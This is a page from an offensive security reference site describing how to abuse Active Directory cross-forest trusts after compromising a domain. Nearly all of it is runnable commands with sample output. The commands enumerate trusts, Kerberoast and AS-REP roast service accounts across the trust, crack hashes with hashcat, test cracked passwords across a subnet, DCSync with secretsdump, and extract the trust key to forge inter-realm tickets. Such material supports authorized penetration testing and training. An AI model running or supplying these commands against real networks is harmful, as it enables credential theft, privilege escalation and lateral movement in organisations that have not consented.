# Cross-Forest Trust Abuse > Exploiting Active Directory cross-forest trust relationships to escalate privileges, move laterally, and access resources across trusted forest boundaries. - **URL:** https://hackindex.io/platforms/active-directory/post-exploitation/ad-cross-forest-trust-abuse - **Path:** Active Directory > Post-Exploitation - **Up:** [Post-Exploitation](https://hackindex.io/platforms/active-directory/post-exploitation.md) - **Published:** 2026-06-11 - **Updated:** 2026-08-11 When you compromise a domain within one forest and a trust exists to another forest, SID filtering (enabled by default on inter-forest trusts) blocks privilege escalation via SID history injection. The attack surface shifts to Kerberos enumeration across the trust boundary, cracking service account hashes in the target forest, and authenticating to resources in the trusted domain using harvested credentials or inter-realm tickets. This page covers attacks on **external forest trusts** where SID filtering is active. For intra-forest child-to-parent escalation see [Domain Trust Abuse](https://hackindex.io/platforms/active-directory/post-exploitation/ad-domain-trust-abuse). - Kerberoast service accounts in the target forest from the source domain - AS-REP roast accounts without preauth across the trust - Reuse cracked service account passwords against the target forest - Forge inter-realm tickets using the trust account hash - Run BloodHound collection against the target forest for path analysis ## Enumerate cross-forest trusts and target forest structure Confirm trust direction and type before choosing an attack path. A bidirectional trust means both forests accept authentication from the other. A one-way trust means only users from the trusted domain can authenticate to the trusting domain. #### Kali (bloodyAD / impacket) **Enumerate trusts and target forest users** ```bash # Enumerate trust relationships from source domain bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search \ --filter '(objectClass=trustedDomain)' \ --attr trustPartner trustDirection trustAttributes flatName # trustDirection: 1=inbound, 2=outbound, 3=bidirectional # trustAttributes: 8=forest trust, 32=intra-forest, 16=selective auth (cross-org), 64=treat-as-external # Enumerate users in trusted forest (if bidirectional auth is allowed) impacket-GetADUsers -all $TRUSTED_DOMAIN/$USER:$PASSWORD -dc-ip $TRUSTED_DC_IP # Check if target forest has ADCS deployed nxc ldap $TRUSTED_DC_IP -u $USER -p $PASSWORD -M adcs # trustPartner: trusted.local # trustDirection: 3 (bidirectional) # trustAttributes: 8 (forest trust) # flatName: TRUSTED # # Name Email PasswordLastSet # ------------- ---------------------- ------------------- # Administrator admin@trusted.local 2023-10-01 12:00:00 # svc-sql svc-sql@trusted.local 2022-05-10 08:00:00 ``` #### Windows (PowerView) **Enumerate trusts and target forest from Windows** ```powershell # Get trust details Get-DomainTrust | Select-Object SourceName, TargetName, TrustDirection, TrustAttributes # Map target forest domain structure Get-DomainTrust -Domain $TRUSTED_DOMAIN | Select-Object * # Enumerate users in trusted forest Get-DomainUser -Domain $TRUSTED_DOMAIN | Select-Object samaccountname, memberof, description # List groups in trusted forest (find DA group members) Get-DomainGroupMember -Domain $TRUSTED_DOMAIN -Identity 'Domain Admins' | Select-Object MemberName ``` ## Kerberoasting across the trust Service accounts in the trusted forest are roastable from the source domain. Impacket and PowerView both support targeting a remote domain over a trust. Cracked hashes give valid credentials in the target forest: check if any service account has elevated rights. #### Kali (impacket) **Kerberoast and AS-REP roast across trust** ```bash # Kerberoasting: target trusted domain from source domain credentials impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -target-domain $TRUSTED_DOMAIN -dc-ip $TARGET_IP -request # Save to file and crack impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -target-domain $TRUSTED_DOMAIN -dc-ip $TARGET_IP -request -outputfile kerberoast_trusted.txt hashcat -m 13100 kerberoast_trusted.txt /usr/share/wordlists/rockyou.txt # AS-REP roasting across trust impacket-GetNPUsers $DOMAIN/$USER:$PASSWORD -target-domain $TRUSTED_DOMAIN -dc-ip $TARGET_IP -request # $krb5tgs$23$*svc-sql$TRUSTED.LOCAL$trusted.local/svc-sql*$8a3f... # # [*] Cracked: svc-sql:Summer2023! ``` #### Windows (PowerView) **Kerberoast across trust from Windows** ```powershell # Find SPNs in trusted forest Get-DomainUser -Domain $TRUSTED_DOMAIN -SPN | Select-Object samaccountname, serviceprincipalname # Kerberoast target forest Invoke-Kerberoast -Domain $TRUSTED_DOMAIN -OutputFormat Hashcat | Select-Object -ExpandProperty Hash # AS-REP roast across trust Get-DomainUser -Domain $TRUSTED_DOMAIN -PreauthNotRequired | Select-Object samaccountname ``` ## Authenticate to trusted forest with cracked credentials Cracked service account hashes are valid credentials in the target forest. Use them to enumerate further or access services. Even a low-privileged account in the target forest may reveal additional misconfigurations or have access to sensitive resources. #### Kali **Access trusted forest with harvested credentials** ```bash # Verify cracked credentials against trusted DC nxc smb $TRUSTED_DC_IP -u $CRACKED_USER -p '$CRACKED_PASSWORD' -d $TRUSTED_DOMAIN # Enumerate target forest further with valid creds bloodyAD -d $TRUSTED_DOMAIN -u $CRACKED_USER -p '$CRACKED_PASSWORD' --host $TRUSTED_DC_IP get search \ --filter '(objectClass=user)' --attr sAMAccountName memberOf # Check if cracked account has local admin anywhere in target forest nxc smb $TRUSTED_SUBNET/24 -u $CRACKED_USER -p '$CRACKED_PASSWORD' -d $TRUSTED_DOMAIN # If cracked account has DA in target forest: DCSync impacket-secretsdump $TRUSTED_DOMAIN/$CRACKED_USER:'$CRACKED_PASSWORD'@$TRUSTED_DC_IP -just-dc # SMB 10.20.10.10 445 TRUSTED-DC [+] TRUSTED.LOCAL\svc-sql:Summer2023! (Pwn3d!) ``` #### Windows (PowerView) **Enumerate trusted forest with cracked creds** ```powershell # Use runas to spawn shell with trusted forest credentials runas /netonly /user:$TRUSTED_DOMAIN\$CRACKED_USER cmd.exe # From that shell: enumerate target forest Get-DomainUser -Domain $TRUSTED_DOMAIN -Credential (Get-Credential) | Select-Object samaccountname, memberof # BloodHound: collect target forest data SharpHound.exe --domain $TRUSTED_DOMAIN --dc $TRUSTED_DC_IP --collectionmethods All ``` ## Trust account hash: inter-realm ticket forging Every forest trust relationship creates a corresponding machine account in AD named after the trusted domain (e.g., `TRUSTED$`). Its NT hash is the inter-realm trust key. With this key you can forge inter-realm tickets that authenticate to services in the trusted forest as any user in your domain. SID filtering prevents privilege escalation, but the tickets allow accessing resources the source-domain user already has rights to: useful for lateral movement, not escalation. #### Kali (impacket) **Extract trust key and forge inter-realm tickets** ```bash # Extract trust account hash: requires DA in source domain # Trust account is named after the trusted domain impacket-secretsdump $DOMAIN/$DA_USER:$DA_PASSWORD@$TARGET_IP -just-dc-user '$TRUSTED_DOMAIN$' # Use your own TGT to request cross-realm service tickets impacket-getTGT $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP export KRB5CCNAME=$USER.ccache # Request service ticket in trusted forest (authenticated as $USER) impacket-getST -spn 'cifs/$TRUSTED_DC_FQDN' \ $DOMAIN/$USER -k -no-pass -dc-ip $TARGET_IP # Access trusted forest resources export KRB5CCNAME=$USER@cifs_${TRUSTED_DC_FQDN}@${DOMAIN^^}.ccache impacket-smbclient $TRUSTED_DOMAIN/$USER@$TRUSTED_TARGET_IP -k -no-pass # TRUSTED.LOCAL\TRUSTED$:1234:aad3b435b51404eeaad3b435b51404ee:a8f3c2d1b9e4f7a2... # # [*] Service ticket saved for cifs/trusted-dc.trusted.local ``` With SID filtering active, the inter-realm ticket technique provides lateral movement but not privilege escalation. For privilege escalation to succeed across a forest trust boundary, selective authentication must be misconfigured, or a user account in the source domain must have explicit rights in the target forest. ## References - [Impacket (GitHub)](https://github.com/fortra/impacket) - GetUserSPNs -target-domain for cross-trust Kerberoasting, getST for inter-realm tickets - [PowerView (GitHub)](https://github.com/PowerShellMafia/PowerSploit) - Get-DomainTrust, Invoke-Kerberoast -Domain for cross-trust enumeration and roasting - [A Guide to Attacking Domain Trusts: harmj0y](https://harmj0y.medium.com/a-guide-to-attacking-domain-trusts-ef5f8992bb9d) - Cross-forest trust attack paths, SID filtering behavior, inter-realm ticket abuse